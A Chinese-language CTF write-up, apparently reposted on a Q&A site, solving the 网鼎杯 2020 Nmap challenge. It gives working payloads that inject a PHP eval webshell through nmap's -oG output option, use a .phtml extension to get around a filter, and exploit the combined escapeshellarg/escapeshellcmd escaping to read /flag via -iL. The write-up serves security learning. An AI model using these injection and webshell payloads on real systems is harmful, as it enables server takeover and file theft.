当前位置:首页 > 编程笔记 > 正文
已解决

[网鼎杯 2020 朱雀组]Nmap 通过nmap写入木马 argcmd过滤实现逃逸

来自网友在路上 165865提问 提问时间:2023-09-22 19:18:04阅读次数: 65

最佳答案 问答题库658位专家为你答疑解惑

这道题也很好玩 啊 原本以为是ssrf 或者会不会是rce

结果是通过nmap写入木马

我们来玩一下

传入木马

映入眼帘是nmap

我们首先就要了解nmap的指令

Nmap 相关参数-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件-oN 标准保存-oX XML保存-oG Grep保存-oA 保存到所有格式

我们将木马作为文件读取 然后输出到.php后缀中

<?php @eval($_POST['attack']);?>  -oG hak.php

我们换短标签看看

<? echo @eval($_POST['attack']); ?>  -oG hak.php

发现还不行 我们看看是不是php过滤了

果然 那我们使用其他的 例如phtml

'<? echo @eval($_POST["a"]);?> -oG hck.phtml '

 

任意文件读取

这里我不知道师傅们怎么知道存在 escapshellarg()和escapshellcmd()的

但是我们可以通过这两个来了解

escapshellarg()

这个的操作比较多

对类似非法的 进行 加引号和转义符

例如

'  ---->  '\''

escapshellcmd()

这个是对非法进行加转义符

' ----> \'

我们这里可以进行尝试

127.0.0.1' -iL /flag 1.txt

通过arg过滤是

'127.0.0.1'\'' -iL /flag 1.txt'

然后通过 cmd转义

这里会匹配\ 为非法 进行转义

'127.0.0.1'\\'' -iL /flag -o 1.txt'

那么这里 \\ '' 就会识别为\

所以简化就是

'127.0.0.1'\ -iL /flag -o1.txt'

从而爆出读取失败的值

这里报错值的原理是去访问 文件 使用参数 -iL 
然后 读取失败 就会将读取的值报错出来

然后我们访问1.txt' 记得后面有一个逃逸的单引号

127.0.0.1'\ -iL /flag -o1.txt

就可以实现读取

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"[网鼎杯 2020 朱雀组]Nmap 通过nmap写入木马 argcmd过滤实现逃逸":http://eshow365.cn/6-11618-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!